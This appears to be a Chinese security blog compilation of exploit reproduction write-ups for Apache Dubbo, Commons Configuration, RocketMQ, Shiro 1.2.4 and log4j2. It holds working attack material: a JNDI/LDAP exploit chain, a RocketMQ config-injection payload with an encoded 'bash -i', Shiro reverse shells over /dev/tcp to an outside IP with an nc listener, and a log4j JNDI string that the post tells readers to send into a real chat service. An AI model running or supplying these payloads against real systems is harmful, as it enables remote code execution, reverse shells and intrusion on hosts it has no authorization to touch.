CVE-2021-30179:Apache Dubbo RCE复现

CVE-2021-30179:Apache Dubbo RCE复现

本文转自Timeline Sec 并作补充

0x01 简介

Apache Dubbo是一个分布式框架,致力于提供高性能透明化的RPC远程服务调用方案,以及SOA服务治理方案。Apache Dubbo在实际应用场景中主要负责解决分布式的相关需求。

0x02 漏洞概述

Apache Dubbo默认支持泛化引用由服务端API接口暴露的所有方法,这些调用由GenericFilter处理。GenericFilter将根据客户端提供的接口名、方法名、方法参数类型列表,根据反射机制获取对应的方法,再根据客户端提供的反序列化方式将参数进行反序列化成pojo对象,反序列化的方式有以下选择:
true
raw.return
nativejava
bean
protobuf-json
我们可以通过控制反序列化的方式为raw.return/true、nativejava、bean来反序列化我们的参数从而实现反序列化,进而触发特定Gadget的,最终导致了远程命令执行漏洞

0x03 影响版本

Apache Dubbo 2.7.0 to 2.7.9
Apache Dubbo 2.6.0 to 2.6.9
Apache Dubbo all 2.5.x versions (官方已不再提供支持)

0x04 环境搭建

以Apache Dubbo 2.7.9为测试环境
1、下载zookeeper
https://archive.apache.org/dist/zookeeper/zookeeper-3.3.3/zookeeper-3.3.3.tar.gz
解压后的根目录下新建data和logs两个文件夹,修改conf目录下的zoo_sample.cfg为zoo.cfg,覆盖原有的dataDir并添加dataLogDir
image

2、双击bin目录下的zkServer.cmd,启动zookeeper,默认监听2181端口
image

3、下载测试Demo及POC:
https://github.com/lz2y/DubboPOC
该测试Demo是我在基础的Dubbo测试项目上添加了需要使用的Gadget所需的依赖(该CVE使用的为org.apache.xbean以及CC4)
师傅们也可以参考https://mp.weixin.qq.com/s/9DkD2g09mmplZ7mow81sDw安装官方提供的项目进行测试
(项目里的POC是我在参考链接的基础上修改后的结果,后续会更新Dubbo的其他CVE、GHSL的POC)

4、启动Provider
image

0x05 漏洞复现

1、下载marshalsec并编译得到jar包

1
2
git clone https://github.com/mbechler/marshalsec
mvn clean package –DskipTests

2、创建Exploit.java文件,通过javac得到Exploit.class文件

1
2
3
4
5
6
7
8
9
10
11
12
public class Exploit {

static {
System.err.println("Pwned");
try {
String cmds = "calc";
Runtime.getRuntime().exec(cmds);
} catch ( Exception e ) {
e.printStackTrace();
}
}
}

3、在Exploit.class目录下开启http服务
python -m http.server 8000
image

4、使用marshalsec开启JNDI服务
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://127.0.0.1:8000/#Exploit" 8087

5、查看暴露的接口及其方法

1
2
3
4
telnet Dubbo服务ip Dubbo服务端口
ls
cd 服务
ls

image

打开src\main\java\top\lz2y\vul\CVE202130179.java修改上一步得到的接口名及其方法
image

6、替换CVE-2021-30179.java中的POC1的ldap uri
image

填写Dubbo服务的ip以及端口号
image

7、运行即可发起JNDI注入执行打开计算器
image

POC2同POC1,只需修改LDAP服务地址即可使用
POC3为通过nativejava选项反序列化触发sink点,这里以CC4为例,利用yso生成CC4的序列化文件
java -jar ysoserial.jar CommonsCollections4 "calc" > 1.ser
修改POC中反序列化文件的路径
image

运行即执行calc弹出计算器

0x06 修复方式

升级 Apache Dubbo 至最新版本;
设置 Apache Dubbo 相关端口仅对可信地址开放。

参考链接

https://mp.weixin.qq.com/s/9DkD2g09mmplZ7mow81sDw
https://securitylab.github.com/advisories/GHSL-2021-034_043-apache-dubbo/

关于CVE-2022-33980 Apache Commons Configuration 远程命令执行漏洞分析

关于CVE-2022-33980 Apache Commons Configuration 远程命令执行漏洞分析

本文转自星阑科技 并作补充

漏洞描述

7月6日,Apache官方发布安全公告,修复了一个存在于Apache Commons Configuration 组件的远程代码执行漏洞,漏洞编号:CVE-2022-33980,漏洞威胁等级:高危。恶意攻击者通过该漏洞,可在目标服务器上实现任意代码执行。

相关介绍

Apache Commons Configuration是一个Java应用程序的配置管理工具,可以从properties或者xml文件中加载软件的配置信息,用来构建支撑软件运行的基础环境。在一些配置文件较多较复杂的情况下,使用该配置工具比较可以简化配置文件的解析和管理,提高开发效率和软件的可维护性。

利用范围

2.4 <= Apache Commons Configuration <=2.7

前置知识

什么是变量插值?

通常我们用apach的configuration2库来管理配置文件(org.apache.commons:commons-configuration2),在commons-configuration2管理的配置文件中,配置变量的值可以引用变量。举个例子:${env:xxhzz}就指代环境变量xxhzz,在commons-configuration2中这种引用动态变量的方式就叫变量插值。

变量插值解析:在commons-configuration2中,负责对字符串中的变量进行解析的是org.apache.commons.configuration2.interpol.ConfigurationInterpolator类中的interpolate(Object)方法。

漏洞原理

image

从漏洞通告中,可以得知Apache Commons Configuration执行变量插值,允许动态评估和扩展属性。插值的标准格式是“${prefix:name}”,其中“prefix”用于定位执行插值的org.apache.commons.configuration2.interpol.Lookup 实例。

从2.4版到2.7版,默认的Lookup实例集包括可能导致任意代码执行或与远程服务器联系的插值器。如公告中提到“script” 可使用JVM脚本执行引擎(javax.script)执行表达式,若使用了不受信任的配置值,在受影响的版本中使用插值默认值的应用程序就很可能受到远程代码执行的影响。

环境搭建

了解了漏洞原理后,为更好理解漏洞的形成,需构建一个调试的demo环境。

通过maven直接引入Apache Commons Configuration2.7。

image

接着构建一个触发漏洞的主类即可

image

动态调式

在对插值变量进行解析的地方打下断点。

org.apache.commons.configuration2.interpol.ConfigurationInterpolator#interpolate

image

开启debug模式,在经过了前两个if判断之后,随后会进入resolveSingleVariable函数。

image

在org.apache.commons.configuration2.interpol.ConfigurationInterpolator#resolveSingleVariable中首先跟一下extractVariableName函数。

image

org.apache.commons.configuration2.interpol.ConfigurationInterpolator#extractVariableName的作用是提取变量字符串strValue。

image

随后进入org.apache.commons.configuration2.interpol.ConfigurationInterpolator#resolve函数中,通过index0f查找和判断条件,从变量字符串中分别获取到prefix和name。

image

继续跟进会进入lookup函数。

image

在分析lookup函数前先跟进下fetchLookupForPrefix函数。

image

fetchLookupForPrefix函数的作用是获取到stringLookup对象。

继续跟进,会进入commons-text-1.8.jar包中的org.apache.commons.text.lookup.ScriptStringLookup#lookup函数。

image

在org.apache.commons.text.lookup.ScriptStringLookup#lookup函数中会再次对字符串进行分割,分别提取engineName和script。

image

接着会通过getEngineByName函数获取ScriptEngine(javax.script)。

image

继续往下,出现eval函数。而我们知道eval函数可计算某个字符串,并执行其中的的JavaScript 代码。

image

继续往下将成功触发我们传入的payload,造成远程命令执行。

漏洞复现

image

​成功命令执行。

image

修复建议

目前官方已发布修复版本修复了该漏洞,请受影响的用户升级到 Apache Commons Configuration 2.8.0 版本。
https://commons.apache.org/proper/commons-configuration/download_configuration.cgi

参考材料

1.https://lists.apache.org/thread/tdf5n7j80lfxdhs2764vn0xmpfodm87s
2.https://cloud.tencent.com/devel

Apache RocketMQ 远程代码执行漏洞(CVE-2023-33246)漏洞分析

Apache RocketMQ 远程代码执行漏洞(CVE-2023-33246)漏洞分析

本文转自Sunflower@知道创宇404实验室 并作补充

1.漏洞介绍

Apache RocketMQ 存在远程命令执行漏洞(CVE-2023-33246)。RocketMQ的NameServer、Broker、Controller等多个组件暴露在外网且缺乏权限验证,攻击者可以利用该漏洞利用更新配置功能以RocketMQ运行的系统用户身份执行命令。

2.漏洞版本

5.0.0 <= Apache RocketMQ < 5.1.1

4.0.0 <= Apache RocketMQ < 4.9.6

3.环境搭建

使用docker拉取漏洞环境

1
docker pull apache/rocketmq:4.9.5

运行docker run命令,搭建docker环境

1
2
docker run -d --name rmqnamesrv -p 9876:9876 apache/rocketmq:4.9.5 sh mqnamesrv
docker run -d --name rmqbroker --link rmqnamesrv:namesrv -e "NAMESRV_ADDR=namesrv:9876" -p 10909:10909 -p 10911:10911 -p 10912:10912 apache/rocketmq:4.9.5 sh mqbroker -c /home/rocketmq/rocketmq-4.9.5/conf/broker.conf

docker ps检查docker正常启动即可

image

4.RocketMQ简介

我们平时使用一些体育新闻软件,会订阅自己喜欢的一些球队板块,当有作者发表文章到相关的板块,我们就能收到相关的新闻推送。

发布-订阅(Pub/Sub)是一种消息范式,消息的发送者(称为发布者、生产者、Producer)会将消息直接发送给特定的接收者(称为订阅者、消费者、Comsumer)。而RocketMQ的基础消息模型就是一个简单的Pub/Sub模型[1]。

4.1 RocketMQ的部署模型

Producer、Consumer又是如何找到Topic和Broker的地址呢?消息的具体发送和接收又是怎么进行的呢?

image

4.2 名字服务器 NameServer

NameServer是一个简单的 Topic 路由注册中心,支持 Topic、Broker 的动态注册与发现。

主要包括两个功能:
Broker管理,NameServer接受Broker集群的注册信息并且保存下来作为路由信息的基本数据。然后提供心跳检测机制,检查Broker是否还存活;
路由信息管理,每个NameServer将保存关于 Broker 集群的整个路由信息和用于客户端查询的队列信息。Producer和Consumer通过NameServer就可以知道整个Broker集群的路由信息,从而进行消息的投递和消费。

4.3 代理服务器 Broker

Broker主要负责消息的存储、投递和查询以及服务高可用保证。

NameServer几乎无状态节点,因此可集群部署,节点之间无任何信息同步。Broker部署相对复杂。

在 Master-Slave 架构中,Broker 分为 Master 与 Slave。一个Master可以对应多个Slave,但是一个Slave只能对应一个Master。Master 与 Slave 的对应关系通过指定相同的BrokerName,不同的BrokerId 来定义,BrokerId为0表示Master,非0表示Slave。Master也可以部署多个。

4.4 消息收发

在进行消息收发之前,我们需要告诉客户端NameServer的地址,RocketMQ有多种方式在客户端中设置NameServer地址,举例三个,优先级由高到低,高优先级会覆盖低优先级。

代码中指定Name Server地址,多个namesrv地址之间用分号分割

1
2
producer.setNamesrvAddr("192.168.0.1:9876;192.168.0.2:9876");  
consumer.setNamesrvAddr("192.168.0.1:9876;192.168.0.2:9876");

Java启动参数中指定Name Server地址

1
-Drocketmq.namesrv.addr=192.168.0.1:9876;192.168.0.2:9876  

环境变量指定Name Server地址

1
export NAMESRV_ADDR=192.168.0.1:9876;192.168.0.2:9876

4.5 漏洞主要涉及的类的介绍

4.5.1 DefaultMQAdminExt

DefaultMQAdminExt是 RocketMQ 提供的一个扩展类。它提供了一些管理和操作 RocketMQ 的工具方法,可以用于管理主题(Topic)、消费者组(Consumer Group)、订阅关系等。

DefaultMQAdminExt类提供了一些常用的方法,包括创建和删除主题、查询主题信息、查询消费者组信息、更新订阅关系等。它可以通过与 NameServer 交互来获取和修改相关配置信息,并提供了对 RocketMQ 的管理功能。

例如DefaultMQAdminExt更新broker配置的一个方法(更新的配置文件为broker.conf):

1
2
3
4
5
public void updateBrokerConfig(String brokerAddr,
Properties properties) throws RemotingConnectException, RemotingSendRequestException,
RemotingTimeoutException, UnsupportedEncodingException, InterruptedException, MQBrokerException {
defaultMQAdminExtImpl.updateBrokerConfig(brokerAddr, properties);
}

4.5.2 FilterServerManager

在 Apache RocketMQ 中,FilterServerManager 类是用于管理过滤服务器(Filter Server)的类。过滤服务器是 RocketMQ 中的一种组件,用于支持消息过滤功能。过滤服务器负责处理消息过滤规则的注册、更新和删除,以及消息过滤的评估和匹配。

5.漏洞分析

补丁文件[2]中直接将Filter Server模块全部移除,所以我们可以直接来看FilterServerManager,简要分析一下FilterServerManager的调用流程:

在Broker启动时执行sh mqbroker…,调用到BrokerStartup类:

image

在该类中继续调用到BrokerController中的start()方法

image

继续跟进

image

最终到了FilterServerManager类中,其中FilterServerUtil.callShell();存在命令执行:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
public void start() {

this.scheduledExecutorService.scheduleAtFixedRate(new Runnable() {
@Override
public void run() {
try {
FilterServerManager.this.createFilterServer();
} catch (Exception e) {
log.error("", e);
}
}
}, 1000 * 5, 1000 * 30, TimeUnit.MILLISECONDS);
}

public void createFilterServer() {
int more =
this.brokerController.getBrokerConfig().getFilterServerNums() - this.filterServerTable.size();
String cmd = this.buildStartCommand();
for (int i = 0; i < more; i++) {
FilterServerUtil.callShell(cmd, log);
}
}

private String buildStartCommand() {
String config = "";
if (BrokerStartup.configFile != null) {
config = String.format("-c %s", BrokerStartup.configFile);
}

if (this.brokerController.getBrokerConfig().getNamesrvAddr() != null) {
config += String.format(" -n %s", this.brokerController.getBrokerConfig().getNamesrvAddr());
}

if (RemotingUtil.isWindowsPlatform()) {
return String.format("start /b %s\\bin\\mqfiltersrv.exe %s",
this.brokerController.getBrokerConfig().getRocketmqHome(),
config);
} else {
return String.format("sh %s/bin/startfsrv.sh %s",
this.brokerController.getBrokerConfig().getRocketmqHome(),
config);
}
}

根据start()方法内部可知createFilterServer方法每隔30秒都会被调用一次,

1
2
3
4
5
6
7
8
9
10
11
12
public void start() {
this.scheduledExecutorService.scheduleAtFixedRate(new Runnable() {
@Override
public void run() {
try {
FilterServerManager.this.createFilterServer();
} catch (Exception e) {
log.error("", e);
}
}
}, 1000 * 5, 1000 * 30, TimeUnit.MILLISECONDS);
}

到了这一步,很明显我们只需要控制BrokerConfig进行命令拼接,等待触发createFilterServer即可造成RCE。

但是要想成功触发命令执行还有两个问题需要解决一下:

1、在createFilterServer方法中,more的值要大于0才会触发callShell方法

1
2
3
4
5
6
7
8
public void createFilterServer() {
int more =
this.brokerController.getBrokerConfig().getFilterServerNums() - this.filterServerTable.size();
String cmd = this.buildStartCommand();
for (int i = 0; i < more; i++) {
FilterServerUtil.callShell(cmd, log);
}
}

这里只需要通过DefaultMQAdminExt设置filterServerNums的值即可,大致为:

1
2
3
4
5
6
7
Properties properties = new Properties();
properties.setProperty("filterServerNums","1");
...
DefaultMQAdminExt defaultMQAdminExt = new DefaultMQAdminExt();
...
defaultMQAdminExt.updateBrokerConfig("192.168.87.128:10911", props);
...

2、callshell方法传入命令时,shellString会被splitShellString方法使用空格进行拆分为一个cmdArray数组。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
public static void callShell(final String shellString, final InternalLogger log) {
Process process = null;
try {
String[] cmdArray = splitShellString(shellString);
process = Runtime.getRuntime().exec(cmdArray);
process.waitFor();
log.info("CallShell: <{}> OK", shellString);
} catch (Throwable e) {
log.error("CallShell: readLine IOException, {}", shellString, e);
} finally {
if (null != process)
process.destroy();
}
}

意味着传入的命令如果带了空格,都会被拆分为数组,而数组在exec中会将每个命令的结尾标记为下一个命令的开头[3]。

sh {可控}/bin/startfsrv.sh ... 如果传入 -c curl 127.0.0.1;

那么comArray为 ['sh' '-c' 'curl' '127.0.0.1' ';' '/bin/startfsrv.sh' '...']

这里的每个命令的结尾作为下一个命令的开头,它将每个被传入的命令都看作为一个整体,想不出一个更合适的例子,这里可以使用shell里的单引号括起来进行辅助理解:

'sh' '-c' 'curl' '127.0.0.1' ';' '/bin/startfsrv.sh' '...'

image

很明显,这里的curl因为使用了空格,导致curl 127.0.0.1被拆分为了两个部分,正确的写法应该是:

'sh' '-c' 'curl 127.0.0.1' ';' '/bin/startfsrv.sh' '...'

image

但是使用空格又会被split,所以现在的问题点就在于如何避免使用空格进行完整的传参,网上公开的解法[4]:

-c $@|sh . echo curl 127.0.0.1;

$@ 作为一个特殊变量,它表示传递给脚本或命令的所有参数,直接将echo后面的值作为一个整体传递给$@,解决了拆分命令的问题。

感谢longofo@知道创宇404实验室带我探讨出第二个绕过方法:

顺便一提,这个绕过的核心点在于这里如果不使用bash,则无法成功使用${IFS}以及{}进行绕过空格限制,这里就不再进行细节讲解,感兴趣的师傅可以动手试试:

-c bash${IFS}-c${IFS}\"{echo,dG91Y2ggL3RtcC9kZGRkZGRkYWE=}|{base64,-d}|{bash,-i}\";

5.1 payload构造

根据上面的知识,最终构造的payload为:

1
2
3
4
5
6
7
8
Properties properties = new Properties();
properties.setProperty("filterServerNums","1");
properties.setProperty("rocketmqHome","-c bash${IFS}-c${IFS}\"{echo,dG91Y2ggL3RtcC9kZGRkZGRkYWE=}|{base64,-d}|{bash,-i}\";");
DefaultMQAdminExt defaultMQAdminExt = new DefaultMQAdminExt();
defaultMQAdminExt.setNamesrvAddr("localhost:9876");
defaultMQAdminExt.start();
defaultMQAdminExt.updateBrokerConfig("192.168.87.128:10911", properties);
defaultMQAdminExt.shutdown();

5.2 漏洞验证

使用payload进行curl dnslog,每隔30s左右收到一次请求:

image

5.3 漏洞修复

在修复版本4.9.6和5.1.1中都是直接删除了filter server模块

image

5.4 影响范围统计

使用Zoomeye[5]进行搜索,得到ip结果34348条:
https://www.zoomeye.org/searchResult?q=service%3A%22RocketMQ%22
image

使用Zoomeye搜索一下被攻击过的目标数量,得到ip结果6011条:
https://www.zoomeye.org/searchResult?q=service%3A%22RocketMQ%22%2B%22rocketmqHome%3D-c%20%24%40%7Csh%22
image

通过Zoomeye的下载功能,再来本地统计一下攻击手法。这里大部分都是通过wget、curl等指令下载木马进行执行反弹shell。

image

6.参考链接

[1] https://github.com/apache/rocketmq/tree/rocketmq-all-4.5.1/docs/cn

[2] https://github.com/apache/rocketmq/commit/c469a60dcca616b077caf2867b64582795ff8bfc

[3] https://stackoverflow.com/questions/48011611/what-exactly-can-we-store-inside-of-string-array-in-process-exec

[4] https://github.com/I5N0rth/CVE-2023-33246

[5] https://www.zoomeye.org

Shiro RememberMe 1.2.4

Shiro RememberMe 1.2.4 反序列化命令执行漏洞复现 kali docker

本文转自莫憨憨

影响版本:Apache Shiro <= 1.2.4

漏洞产生原因:

shiro默认使用了CookieRememberMeManager,其处理cookie的流程是:得到rememberMe的cookie值–>Base64解码–>AES解密–>反序列化。
然而AES的密钥是硬编码的,就导致了攻击者可以构造恶意数据造成反序列化的RCE漏洞。使用大佬脚本生成 payload(ysoserial.jar文件和运行目录处于同一目录)

漏洞环境搭建

1.拉取镜像

1
docker pull medicean/vulapps:s_shiro_1

2.启动环境

1
docker run -d -p 80:8080 -p 7777:6666 medicean/vulapps:s_shiro_1

如需进入环境,命令为

1
docker exec -it name /bin/bash

3.web访问

http://127.0.0.1 能看到如下页面即可

image

或虚拟机外面用真实ip访问

image

至此漏洞环境搭建成功

漏洞复现

1.抓包测试

查看返回包里setcookie有rememberme的字样

image

2.继续测试

首先最简单的测试方法是用dnslog,看看是否有回显。
利用POC生成想要执行的命令对应的rememberMe

3.工具准备

image

生成payload的脚本使用的是python3,运行报错就安装一下模块

4.生成payload:

双引号中是想要执行的命令,如果这里没有公网VPS,就用dnslog来证明。攻击原理一样,不认可的杠精可直接怼

1
py -3 shiro_1.2.4.py "ping 39p2wo.dnslog.cn"

运行结果如下图:

image

然后便会在脚本所在目录下生成文件payload.cookie

5.回到浏览器抓包

用payload.cookie中的rememberMe内容加入Cookie中,或者直接放进参数中,提交看页面回显和dnslog页面是否有数据过去

6.到ceye平台查看日志记录

dnslog日志刷新后有记录了,说明payloda执行成功

image

反弹shell

当然了,有VPS的情况下,为何不反弹一下shell呢?

1.使用脚本生成key

反弹shell的命令:bash -i >& /dev/tcp/22.45.13.9/7878 0>&1

1
py -3 shiro_1.2.4.py "bash -i >& /dev/tcp/22.45.13.9/7878 0>&1"

PS:ip假的,不打码,观看流畅

2.先公网VPS监听反弹shell的命令

1
nc -lvp 7878

image

3.加入payload,提交数据包

image

这里使用curl也能达到burp的效果

1
2
// 加 -I 是只看响应头,这里主要关注set-cookie:rememberMe
curl -X GET http://172.16.12.132 --cookie “xxxxxxxxxxxxx” -I

讲这个是因为此方法可以用来初步探测shiro信息

image

4.vps收到了反弹回来的shell

image

题外话1

研究这个漏洞,是因为客户要求排查下资产,然后找不到集成的工具和一键式检查的。
漏洞的事情OK了,还是觉得自己太菜,要是代码够给力,写个集成的丢github上就真的香。

题外话2

还有一个思路,看大佬文章时,这里一直没搞懂。字面意思是用ysoserial中的JRMP监听模块来搞定的,后续学会了再补上笔记

1
java -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 3888 CommonsCollections5 'bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEuMi84ODg4IDA+JjE=}|{base64,-d}|{bash,-i}'

image

参考链接:

https://www.jianshu.com/p/0007eafd1f92
https://www.secpulse.com/archives/112742.html

dnslog-log4j2

dnslog简单验证log4j2漏洞

本文转自星夜

简单步骤

进dnslog:http://www.dnslog.cn/

Get SubDomain 得到一个随机的子域名

拼进${jndi:ldap://xxxxx.dnslog.cn/exp}

往任意可能在log中塞的输入填

这里拿tx玩,如群中发送,可得到tx云的记录

image

image

image